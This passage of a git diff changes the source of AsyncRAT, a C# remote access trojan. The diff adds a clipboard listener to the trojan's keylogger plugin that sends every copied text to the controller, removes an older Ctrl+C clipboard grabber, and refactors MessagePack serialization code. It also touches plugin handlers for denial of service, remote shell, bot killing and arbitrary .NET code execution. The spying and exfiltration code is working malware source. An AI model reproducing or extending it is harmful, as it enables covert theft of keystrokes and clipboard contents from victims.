ms.WriteByte((byte)iVal); - } - } // end <0 - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Packet.cs b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Packet.cs index 46796ac..5ee2608 100644 --- a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Packet.cs +++ b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Packet.cs @@ -1,4 +1,4 @@ -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; @@ -36,6 +36,58 @@ namespace Plugin } } + + public class ClipboardNotification : Form + { + public ClipboardNotification() + { + SetParent(Handle, HWND_MESSAGE); + AddClipboardFormatListener(Handle); + } + + protected override void WndProc(ref Message m) + { + if (m.Msg == WM_CLIPBOARDUPDATE) + { + Debug.WriteLine($"Clipboard {Clipboard.GetCurrentText()}"); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "keyLogger"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; + msgpack.ForcePathObject("log").AsString = $"\n### Clipboard ###\n{Clipboard.GetCurrentText()}\n"; + Connection.Send(msgpack.Encode2Bytes()); + } + base.WndProc(ref m); + } + + private const int WM_CLIPBOARDUPDATE = 0x031D; + private static IntPtr HWND_MESSAGE = new IntPtr(-3); + + [DllImport("user32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool AddClipboardFormatListener(IntPtr hwnd); + + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr SetParent(IntPtr hWndChild, IntPtr hWndNewParent); + } + + internal static class Clipboard + { + public static string GetCurrentText() + { + string ReturnValue = string.Empty; + Thread STAThread = new Thread( + delegate () + { + ReturnValue = System.Windows.Forms.Clipboard.GetText(); + }); + STAThread.SetApartmentState(ApartmentState.STA); + STAThread.Start(); + STAThread.Join(); + + return ReturnValue; + } + } + public static class HandleLimeLogger { public static bool isON = false; @@ -57,7 +109,7 @@ namespace Plugin GC.Collect(); Application.Exit(); }).Start(); - Application.Run(); + Application.Run(new ClipboardNotification()); } private static IntPtr SetHook(LowLevelKeyboardProc proc) @@ -88,7 +140,6 @@ namespace Plugin int vkCode = Marshal.ReadInt32(lParam); bool capsLockPressed = (GetKeyState(0x14) & 0xffff) != 0; bool shiftPressed = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0; - bool ctrlPressed = (GetKeyState(0xA2) & 0x8000) != 0 || (GetKeyState(0xA3) & 0x8000) != 0; string currentKey = KeyboardLayout((uint)vkCode); if (capsLockPressed || shiftPressed) @@ -100,15 +151,7 @@ namespace Plugin currentKey = currentKey.ToLower(); } - if (ctrlPressed) - { - if (((Keys)vkCode == Keys.X) || ((Keys)vkCode == Keys.C) || ((Keys)vkCode == Keys.V)) - { - ClipboardGetText(((Keys)vkCode).ToString()); - currentKey = string.Empty; - } - } - else if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24) + if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24) currentKey = "[" + (Keys)vkCode + "]"; else { @@ -162,27 +205,6 @@ namespace Plugin } } - private static void ClipboardGetText(string key) - { - Thread STAThread = new Thread( - delegate () - { - if (Clipboard.ContainsText()) - { - Thread.Sleep(500); - string ReturnValue = string.Empty; - ReturnValue = Clipboard.GetText(); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "keyLogger"; - msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; - msgpack.ForcePathObject("log").AsString = $"\n[CTRL+{key}]:{ReturnValue}\n"; - Connection.Send(msgpack.Encode2Bytes()); - } - }); - STAThread.SetApartmentState(ApartmentState.STA); - STAThread.Start(); - } - private static string KeyboardLayout(uint vkCode) { try diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Zip.cs b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Zip.cs deleted file mode 100644 index 60db829..0000000 --- a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Zip.cs +++ /dev/null @@ -1,45 +0,0 @@ -using System; -using System.IO; -using System.IO.Compression; - -namespace Plugin -{ - public static class Zip - { - public static byte[] Decompress(byte[] input) - { - using (var source = new MemoryStream(input)) - { - byte[] lengthBytes = new byte[4]; - source.Read(lengthBytes, 0, 4); - - var length = BitConverter.ToInt32(lengthBytes, 0); - using (var decompressionStream = new GZipStream(source, - CompressionMode.Decompress)) - { - var result = new byte[length]; - decompressionStream.Read(result, 0, length); - return result; - } - } - } - - public static byte[] Compress(byte[] input) - { - using (var result = new MemoryStream()) - { - var lengthBytes = BitConverter.GetBytes(input.Length); - result.Write(lengthBytes, 0, 4); - - using (var compressionStream = new GZipStream(result, - CompressionMode.Compress)) - { - compressionStream.Write(input, 0, input.Length); - compressionStream.Flush(); - - } - return result.ToArray(); - } - } - } -} diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/packages.config b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/packages.config new file mode 100644 index 0000000..1bc7f33 --- /dev/null +++ b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/packages.config @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs index 2c6b2bd..4f05f4a 100644 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs @@ -1,4 +1,4 @@ -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleBotKiller.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleBotKiller.cs index 94f6fed..0b946b7 100644 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleBotKiller.cs +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleBotKiller.cs @@ -4,7 +4,7 @@ using System.Diagnostics; using System.Runtime.InteropServices; using Microsoft.Win32; using System.Security.Principal; -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using Plugin; namespace Miscellaneous.Handler diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleDos.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleDos.cs index 07853a3..707acca 100644 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleDos.cs +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleDos.cs @@ -3,7 +3,7 @@ using System.Diagnostics; using System.Net.Sockets; using System.Text; using System.Threading; -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using Plugin; namespace Miscellaneous.Handler diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleShell.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleShell.cs index 32694f5..67f0d69 100644 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleShell.cs +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleShell.cs @@ -1,5 +1,5 @@ using Plugin; -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleTorrent.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleTorrent.cs index c55bdd5..546d8f9 100644 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleTorrent.cs +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleTorrent.cs @@ -1,5 +1,5 @@ using Plugin; -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandlerExecuteDotNetCode.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandlerExecuteDotNetCode.cs index 4414241..adb4c94 100644 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandlerExecuteDotNetCode.cs +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandlerExecuteDotNetCode.cs @@ -1,7 +1,7 @@ using Microsoft.CSharp; using Microsoft.VisualBasic; using Plugin; -using Plugin.MessagePack; +using MessagePackLib.MessagePack; using System; using System.CodeDom.Compiler; using System.Collections.Generic; diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/BytesTools.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/BytesTools.cs deleted file mode 100644 index bd66e46..0000000 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/BytesTools.cs +++ /dev/null @@ -1,102 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Plugin.MessagePack -{ - public class BytesTools - { - static UTF8Encoding utf8Encode = new UTF8Encoding(); - - public static byte[] GetUtf8Bytes(String s) - { - - return utf8Encode.GetBytes(s); - } - - public static String GetString(byte[] utf8Bytes) - { - return utf8Encode.GetString(utf8Bytes); - } - - public static String BytesAsString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:D3} ", b)); - } - return sb.ToString(); - } - - - public static String BytesAsHexString(byte[] bytes) - { - StringBuilder sb = new StringBuilder(); - foreach (byte b in bytes) - { - sb.Append(String.Format("{0:X2} ", b)); - } - return sb.ToString(); - } - - /// - /// 交换byte数组数据 - /// 可用于高低数据交换 - /// - /// 要交换的byte数组 - /// 返回交换后的数据 - public static byte[] SwapBytes(byte[] v) - { - byte[] r = new byte[v.Length]; - int j = v.Length - 1; - for (int i = 0; i < r.Length; i++) - { - r[i] = v[j]; - j--; - } - return r; - } - - public static byte[] SwapInt64(Int64 v) - { - //byte[] r = new byte[8]; - //r[7] = (byte)v; - //r[6] = (byte)(v >> 8); - //r[5] = (byte)(v >> 16); - //r[4] = (byte)(v >> 24); - //r[3] = (byte)(v >> 32); - //r[2] = (byte)(v >> 40); - //r[1] = (byte)(v >> 48); - //r[0] = (byte)(v >> 56); - return SwapBytes(BitConverter.GetBytes(v)); - } - - public static byte[] SwapInt32(Int32 v) - { - byte[] r = new byte[4]; - r[3] = (byte)v; - r[2] = (byte)(v >> 8); - r[1] = (byte)(v >> 16); - r[0] = (byte)(v >> 24); - return r; - } - - - public static byte[] SwapInt16(Int16 v) - { - byte[] r = new byte[2]; - r[1] = (byte)v; - r[0] = (byte)(v >> 8); - return r; - } - - public static byte[] SwapDouble(Double v) - { - return SwapBytes(BitConverter.GetBytes(v)); - } - - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/MsgPack.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/MsgPack.cs deleted file mode 100644 index f78f3f1..0000000 --- a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/MsgPack.cs +++ /dev/null @@ -1,927 +0,0 @@ -using System; -using System.Collections; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - - -namespace Plugin.MessagePack -{ - public class MsgPackEnum : IEnumerator - { - List children; - int position = -1; - - public MsgPackEnum(List obj) - { - children = obj; - } - object IEnumerator.Current - { - get { return children[position]; } - } - - bool IEnumerator.MoveNext() - { - position++; - return (position < children.Count); - } - - void IEnumerator.Reset() - { - position = -1; - } - - } - - public class MsgPackArray - { - List children; - MsgPack owner; - - public MsgPackArray(MsgPack msgpackObj, List listObj) - { - owner = msgpackObj; - children = listObj; - } - - public MsgPack Add() - { - return owner.AddArrayChild(); - } - - public MsgPack Add(String value) - { - MsgPack obj = owner.AddArrayChild(); - obj.AsString = value; - return obj; - } - - public MsgPack Add(Int64 value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsInteger(value); - return obj; - } - - public MsgPack Add(Double value) - { - MsgPack obj = owner.AddArrayChild(); - obj.SetAsFloat(value); - return obj; - } - - public MsgPack this[int index] - { - get { return children[index]; } - } - - public int Length - { - get { return children.Count; } - } - } - - public class MsgPack : IEnumerable - { - string name; - string lowerName; - object innerValue; - MsgPackType valueType; - MsgPack parent; - List children = new List(); - MsgPackArray refAsArray = null; - - private void SetName(string value) - { - this.name = value; - this.lowerName = name.ToLower(); - } - - private void Clear() - { - for (int i = 0; i < children.Count; i++) - { - ((MsgPack)children[i]).Clear(); - } - children.Clear(); - } - - private MsgPack InnerAdd() - { - MsgPack r = new MsgPack(); - r.parent = this; - this.children.Add(r); - return r; - } - - private int IndexOf(string name) - { - int i = -1; - int r = -1; - - string tmp = name.ToLower(); - foreach (MsgPack item in children) - { - i++; - if (tmp.Equals(item.lowerName)) - { - r = i; - break; - } - } - return r; - } - - public MsgPack FindObject(string name) - { - int i = IndexOf(name); - if (i == -1) - { - return null; - } - else - { - return this.children[i]; - } - } - - - private MsgPack InnerAddMapChild() - { - if (valueType != MsgPackType.Map) - { - Clear(); - this.valueType = MsgPackType.Map; - } - return InnerAdd(); - } - - private MsgPack InnerAddArrayChild() - { - if (valueType != MsgPackType.Array) - { - Clear(); - this.valueType = MsgPackType.Array; - } - return InnerAdd(); - } - - public MsgPack AddArrayChild() - { - return InnerAddArrayChild(); - } - - private void WriteMap(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x80 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDE; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDF; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - for (int i = 0; i < len; i++) - { - WriteTools.WriteString(ms, children[i].name); - children[i].Encode2Stream(ms); - } - } - - private void WirteArray(Stream ms) - { - byte b; - byte[] lenBytes; - int len = children.Count; - if (len <= 15) - { - b = (byte)(0x90 + (byte)len); - ms.WriteByte(b); - } - else if (len <= 65535) - { - b = 0xDC; - ms.WriteByte(b); - - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - else - { - b = 0xDD; - ms.WriteByte(b); - lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); - ms.Write(lenBytes, 0, lenBytes.Length); - } - - - for (int i = 0; i < len; i++) - { - ((MsgPack)children[i]).Encode2Stream(ms); - } - } - - public void SetAsInteger(Int64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.Integer; - } - - public void SetAsUInt64(UInt64 value) - { - this.innerValue = value; - this.valueType = MsgPackType.UInt64; - } - - public UInt64 GetAsUInt64() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToUInt64((Int64)this.innerValue); - case MsgPackType.UInt64: - return (UInt64)this.innerValue; - case MsgPackType.String: - return UInt64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToUInt64((Double)this.innerValue); - case MsgPackType.Single: - return Convert.ToUInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToUInt64((DateTime)this.innerValue); - default: - return 0; - } - - } - - public Int64 GetAsInteger() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return (Int64)this.innerValue; - case MsgPackType.UInt64: - return Convert.ToInt64((Int64)this.innerValue); - case MsgPackType.String: - return Int64.Parse(this.innerValue.ToString().Trim()); - case MsgPackType.Float: - return Convert.ToInt64((Double)this.innerValue); - case MsgPackType.Single: - return Convert.ToInt64((Single)this.innerValue); - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - public Double GetAsFloat() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return Convert.ToDouble((Int64)this.innerValue); - case MsgPackType.String: - return Double.Parse((String)this.innerValue); - case MsgPackType.Float: - return (Double)this.innerValue; - case MsgPackType.Single: - return (Single)this.innerValue; - case MsgPackType.DateTime: - return Convert.ToInt64((DateTime)this.innerValue); - default: - return 0; - } - } - - - public void SetAsBytes(byte[] value) - { - this.innerValue = value; - this.valueType = MsgPackType.Binary; - } - - public byte[] GetAsBytes() - { - switch (this.valueType) - { - case MsgPackType.Integer: - return BitConverter.GetBytes((Int64)this.innerValue); - case MsgPackType.String: - return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); - case MsgPackType.Float: - return BitConverter.GetBytes((Double)this.innerValue); - case MsgPackType.Single: - return BitConverter.GetBytes((Single)this.innerValue); - case MsgPackType.DateTime: - long dateval = ((DateTime)this.innerValue).ToBinary(); - return BitConverter.GetBytes(dateval); - case MsgPackType.Binary: - return (byte[])this.innerValue; - default: - return new byte[] { }; - } - } - - public void Add(string key, String value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - tmp.SetAsString(value); - } - - public void Add(string key, int value) - { - MsgPack tmp = InnerAddArrayChild(); - tmp.name = key; - tmp.SetAsInteger(value); - } - - public bool LoadFileAsBytes(string fileName) - { - if (File.Exists(fileName)) - { - byte[] value = null; - FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); - value = new byte[fs.Length]; - fs.Read(value, 0, (int)fs.Length); - fs.Close(); - fs.Dispose(); - SetAsBytes(value); - return true; - } - else - { - return false; - } - - } - - public bool SaveBytesToFile(string fileName) - { - if (this.innerValue != null) - { - FileStream fs = new FileStream(fileName, FileMode.Append); - fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); - fs.Close(); - fs.Dispose(); - return true; - } - else - { - return false; - } - } - - public MsgPack ForcePathObject(string path) - { - MsgPack tmpParent, tmpObject; - tmpParent = this; - string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); - string tmp = null; - if (pathList.Length == 0) - { - return null; - } - else if (pathList.Length > 1) - { - for (int i = 0; i < pathList.Length - 1; i++) - { - tmp = pathList[i]; - tmpObject = tmpParent.FindObject(tmp); - if (tmpObject == null) - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - } - else - { - tmpParent = tmpObject; - } - } - } - tmp = pathList[pathList.Length - 1]; - int j = tmpParent.IndexOf(tmp); - if (j > -1) - { - return tmpParent.children[j]; - } - else - { - tmpParent = tmpParent.InnerAddMapChild(); - tmpParent.SetName(tmp); - return tmpParent; - } - } - - public void SetAsNull() - { - Clear(); - this.innerValue = null; - this.valueType = MsgPackType.Null; - } - - public void SetAsString(String value) - { - this.innerValue = value; - this.valueType = MsgPackType.String; - } - - public String GetAsString() - { - if (this.innerValue == null) - { - return ""; - } - else - { - return this.innerValue.ToString(); - } - - } - - public void SetAsBoolean(Boolean bVal) - { - this.valueType = MsgPackType.Boolean; - this.innerValue = bVal; - } - - public void SetAsSingle(Single fVal) - { - this.valueType = MsgPackType.Single; - this.innerValue = fVal; - } - - public void SetAsFloat(Double fVal) - { - this.valueType = MsgPackType.Float; - this.innerValue = fVal; - } - - - - public void DecodeFromBytes(byte[] bytes) - { - using (MemoryStream ms = new MemoryStream()) - { - bytes = Zip.Decompress(bytes); - ms.Write(bytes, 0, bytes.Length); - ms.Position = 0; - DecodeFromStream(ms); - } - } - - public void DecodeFromFile(string fileName) - { - FileStream fs = new FileStream(fileName, FileMode.Open); - DecodeFromStream(fs); - fs.Dispose(); - } - - - - public void DecodeFromStream(Stream ms) - { - byte lvByte = (byte)ms.ReadByte(); - byte[] rawByte = null; - MsgPack msgPack = null; - int len = 0; - int i = 0; - - if (lvByte <= 0x7F) - { //positive fixint 0xxxxxxx 0x00 - 0x7f - SetAsInteger(lvByte); - } - else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Map; - len = lvByte - 0x80; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f - { - //fixmap 1000xxxx 0x80 - 0x8f - this.Clear(); - this.valueType = MsgPackType.Array; - len = lvByte - 0x90; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf - { - len = lvByte - 0xA0; - SetAsString(ReadTools.ReadString(ms, len)); - } - else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) - { /// -1..-32 - // negative fixnum stores 5-bit negative integer - // +--------+ - // |111YYYYY| - // +--------+ - SetAsInteger((sbyte)lvByte); - } - else if (lvByte == 0xC0) - { - SetAsNull(); - } - else if (lvByte == 0xC1) - { - throw new Exception("(never used) type $c1"); - } - else if (lvByte == 0xC2) - { - SetAsBoolean(false); - } - else if (lvByte == 0xC3) - { - SetAsBoolean(true); - } - else if (lvByte == 0xC4) - { // max 255 - len = ms.ReadByte(); - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC5) - { // max 65535 - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToUInt16(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if (lvByte == 0xC6) - { // binary max: 2^32-1 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt32(rawByte, 0); - - // read binary - rawByte = new byte[len]; - ms.Read(rawByte, 0, len); - SetAsBytes(rawByte); - } - else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) - { - throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); - } - else if (lvByte == 0xCA) - { // float 32 - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - - SetAsSingle(BitConverter.ToSingle(rawByte, 0)); - } - else if (lvByte == 0xCB) - { // float 64 - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsFloat(BitConverter.ToDouble(rawByte, 0)); - } - else if (lvByte == 0xCC) - { // uint8 - // uint 8 stores a 8-bit unsigned integer - // +--------+--------+ - // | 0xcc |ZZZZZZZZ| - // +--------+--------+ - lvByte = (byte)ms.ReadByte(); - SetAsInteger(lvByte); - } - else if (lvByte == 0xCD) - { // uint16 - // uint 16 stores a 16-bit big-endian unsigned integer - // +--------+--------+--------+ - // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); - } - else if (lvByte == 0xCE) - { - // uint 32 stores a 32-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+ - // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); - } - else if (lvByte == 0xCF) - { - // uint 64 stores a 64-bit big-endian unsigned integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - rawByte = new byte[8]; - ms.Read(rawByte, 0, 8); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); - } - else if (lvByte == 0xDC) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDD) - { - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Array; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xD9) - { - // str 8 stores a byte array whose length is upto (2^8)-1 bytes: - // +--------+--------+========+ - // | 0xd9 |YYYYYYYY| data | - // +--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDE) - { - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | - // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt16(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDF) - { - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | - // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - len = BitConverter.ToInt32(rawByte, 0); - - this.Clear(); - this.valueType = MsgPackType.Map; - for (i = 0; i < len; i++) - { - msgPack = InnerAdd(); - msgPack.SetName(ReadTools.ReadString(ms)); - msgPack.DecodeFromStream(ms); - } - } - else if (lvByte == 0xDA) - { - // str 16 stores a byte array whose length is upto (2^16)-1 bytes: - // +--------+--------+--------+========+ - // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | - // +--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xDB) - { - // str 32 stores a byte array whose length is upto (2^32)-1 bytes: - // +--------+--------+--------+--------+--------+========+ - // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | - // +--------+--------+--------+--------+--------+========+ - SetAsString(ReadTools.ReadString(lvByte, ms)); - } - else if (lvByte == 0xD0) - { - // int 8 stores a 8-bit signed integer - // +--------+--------+ - // | 0xd0 |ZZZZZZZZ| - // +--------+--------+ - SetAsInteger((sbyte)ms.ReadByte()); - } - else if (lvByte == 0xD1) - { - // int 16 stores a 16-bit big-endian signed integer - // +--------+--------+--------+ - // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+ - rawByte = new byte[2]; - ms.Read(rawByte, 0, 2); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt16(rawByte, 0)); - } - else if (lvByte == 0xD2) - { - // int 32 stores a 32-bit big-endian signed integer - // +--------+--------+--------+--------+--------+ - // | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| - // +--------+--------+--------+--------+--------+ - rawByte = new byte[4]; - ms.Read(rawByte, 0, 4); - rawByte = BytesTools.SwapBytes(rawByte); - SetAsInteger(BitConverter.ToInt32(rawByte, 0)); - } - else if (lvByte == 0xD3) - { - // int 64 stores a 64-bit big-endian signed integer - // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ - // | 0xd3 